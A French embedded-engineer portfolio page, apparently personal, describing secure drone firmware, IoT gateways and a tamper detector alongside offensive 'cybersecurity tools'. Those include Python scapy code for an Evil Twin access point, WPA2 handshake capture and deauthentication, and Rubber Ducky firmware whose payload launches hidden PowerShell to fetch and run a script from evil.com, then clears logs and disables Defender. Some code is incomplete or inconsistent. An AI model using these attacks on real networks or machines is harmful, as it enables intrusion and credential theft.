Systèmes embarqués - Projets
Mes projets de développement sur microcontrôleurs sécurisés et IoT, avec focus sur les applications drones et cybersécurité.
Architecture firmware sécurisé
Projets réalisés
🚁 Firmware pour drones
Module de télémétrie sécurisé ESP32-S3
Architecture : ESP32-S3 + ATECC608 + LoRa SX1276
#include "esp_secure_boot.h"
#include "esp_flash_encrypt.h"
#include "mbedtls/aes.h"
class SecureTelemetry {
private:
mbedtls_aes_context aes_ctx;
uint8_t session_key[32];
uint32_t sequence_number;
public:
bool initializeSecureChannel() {
// Génération clé de session via ATECC608
if (!generateSessionKey()) return false;
// Configuration chiffrement AES-256-GCM
mbedtls_aes_init(&aes_ctx);
mbedtls_aes_setkey_enc(&aes_ctx, session_key, 256);
// Authentification mutuelle
return performMutualAuth();
}
bool sendSecureMessage(const uint8_t* data, size_t len) {
// Chiffrement + authentification
uint8_t encrypted[256];
uint8_t tag[16];
// AES-GCM avec nonce basé sur sequence number
uint8_t nonce[12];
generateNonce(nonce, sequence_number++);
if (mbedtls_aes_crypt_gcm(&aes_ctx, MBEDTLS_AES_ENCRYPT,
len, nonce, 12, NULL, 0,
data, encrypted, 16, tag) != 0) {
return false;
}
// Transmission via LoRa avec frequency hopping
return transmitWithFH(encrypted, len, tag, 16);
}
};
Fonctionnalités : - Secure boot : Vérification cryptographique au démarrage - Flash encryption : Chiffrement firmware en mémoire - Mutual authentication : Authentification bidirectionnelle - Anti-replay : Protection contre rejeu de messages
Contrôleur ESC anti-brouillage STM32
- Triple redundancy : 3 MCU en voting logic
- Sensor fusion : IMU + encoders + back-EMF
- Jamming detection : Analyse spectrale temps réel
- Failsafe modes : Auto-landing en cas d'attaque
🛡️ Outils cybersécurité
WiFi Pineapple customisé
Hardware : Raspberry Pi CM4 + dual WiFi + 4G modem
import scapy.all as scapy
from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt
import threading
import time
class EvilTwinAP:
def __init__(self, interface, target_ssid):
self.interface = interface
self.target_ssid = target_ssid
self.clients = {}
self.running = False
def create_fake_ap(self):
"""Création access point malveillant"""
# Configuration point d'accès identique au légitime
beacon = (
Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff",
addr2=self.get_mac(), addr3=self.get_mac()) /
Dot11Beacon(cap=0x1111) /
Dot11Elt(ID="SSID", info=self.target_ssid) /
Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18\x24') /
Dot11Elt(ID="Channel", info=chr(6))
)
# Broadcast continu
while self.running:
scapy.sendp(beacon, iface=self.interface, inter=0.1, verbose=0)
def capture_handshakes(self):
"""Capture des handshakes WPA2"""
def packet_handler(packet):
if packet.haslayer(Dot11):
if packet.type == 2: # Data frame
self.analyze_data_frame(packet)
scapy.sniff(iface=self.interface, prn=packet_handler, monitor=True)
def deauth_attack(self, target_mac):
"""Attaque de déauthentification"""
deauth = (
Dot11(type=0, subtype=12, addr1=target_mac,
addr2=self.get_target_ap_mac(), addr3=self.get_target_ap_mac()) /
Dot11Deauth(reason=7)
)
# Envoi burst deauth packets
for _ in range(10):
scapy.sendp(deauth, iface=self.interface, verbose=0)
time.sleep(0.1)
Capacités : - Evil Twin : Clonage points d'accès légitimes - Deauth attacks : Déconnexion forcée clients - Handshake capture : Récupération credentials WPA2 - Portal captif : Phishing credentials
USB Rubber Ducky firmware custom
#include "usb_device.h"
#include "usbd_hid.h"
#define MAX_PAYLOAD_SIZE 8192
typedef struct {
uint8_t modifier;
uint8_t reserved;
uint8_t keycode[6];
} hid_keyboard_report_t;
class RubberDucky {
private:
uint8_t payloads[MAX_PAYLOAD_SIZE];
uint16_t payload_index;
bool stealth_mode;
public:
void executePayload(const char* script) {
// Parse Ducky Script
parseDuckyScript(script);
// Attente détection périphérique
waitForSystemReady();
// Exécution séquence
executeKeySequence();
// Mode furtif : suppression traces
if (stealth_mode) {
clearEventLogs();
disableDefender();
}
}
void injectKeystrokes(const char* text) {
hid_keyboard_report_t report = {0};
for (int i = 0; text[i] != '\0'; i++) {
// Conversion ASCII vers HID keycode
convertToHID(text[i], &report);
// Envoi rapport HID
USBD_HID_SendReport(&hUsbDeviceFS, (uint8_t*)&report, sizeof(report));
HAL_Delay(10); // Délai inter-touches
// Release key
memset(&report, 0, sizeof(report));
USBD_HID_SendReport(&hUsbDeviceFS, (uint8_t*)&report, sizeof(report));
HAL_Delay(10);
}
}
void advancedPayload() {
// Ouverture PowerShell en admin
injectKeystrokes("cmd");
pressKey(VK_LWIN);
HAL_Delay(500);
// Bypass UAC
injectKeystrokes("powershell -WindowStyle Hidden -ExecutionPolicy Bypass");
pressKey(VK_RETURN);
HAL_Delay(2000);
// Download et exécution payload
injectKeystrokes("IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')");
pressKey(VK_RETURN);
}
};
Hardware implant défensif
Objectif : Détection d'intrusions physiques sur équipements critiques
#include "stm32l5xx_hal.h"
#include "mbedtls/sha256.h"
class TamperDetector {
private:
GPIO_TypeDef* tamper_pins[8];
uint32_t baseline_readings[8];
bool intrusion_detected;
public:
void initializeSensors() {
// Configuration pins analogiques ultra-sensibles
for (int i = 0; i < 8; i++) {
HAL_ADC_Start(&hadc1);
HAL_ADC_PollForConversion(&hadc1, 100);
baseline_readings[i] = HAL_ADC_GetValue(&hadc1);
}
// Configuration interruptions
HAL_NVIC_EnableIRQ(EXTI0_IRQn);
HAL_NVIC_EnableIRQ(EXTI1_IRQn);
}
void monitorTamperAttempts() {
while (1) {
for (int i = 0; i < 8; i++) {
uint32_t current = readTamperPin(i);
// Détection variation anormale
if (abs(current - baseline_readings[i]) > TAMPER_THRESHOLD) {
triggerAlarm(i);
logIntrusion(i, current);
}
}
// Test intégrité firmware via hash
verifyFirmwareIntegrity();
HAL_Delay(100); // 10Hz sampling
}
}
void triggerAlarm(uint8_t sensor_id) {
intrusion_detected = true;
// Destruction clés cryptographiques
eraseSecurityKeys();
// Transmission alerte via canal sécurisé
sendSecureAlert(sensor_id);
// Arrêt système si critique
if (sensor_id == CRITICAL_SENSOR) {
HAL_NVIC_SystemReset();
}
}
};
🌐 IoT sécurisé industriel
Gateway LoRaWAN durci
- Multi-radio : LoRaWAN + WiFi + 4G + Ethernet
- Edge computing : Traitement local données critiques
- VPN intégré : Tunnel chiffré vers datacenter
- Certificats X.509 : PKI complète pour authentification
Capteur industriel IIoT
- Secure Element : OPTIGA Trust M pour identité
- OTA updates : Mise à jour firmware sécurisée
- Anomaly detection : IA embarquée pour détection défauts
- Protocol agnostic : Modbus/TCP, OPC-UA, MQTT-S
Stack de développement
Outils sécurisés
- ARM TrustZone : Isolation secure/non-secure world
- Secure Boot : Chaîne de confiance matérielle
- Code signing : Vérification intégrité firmware
- Hardware crypto : Accélération cryptographique
Frameworks utilisés
- ESP-IDF : Framework ESP32 avec security features
- FreeRTOS : RTOS temps réel avec isolation
- Mbed TLS : Cryptographie embarquée
- TinyUSB : Stack USB sécurisée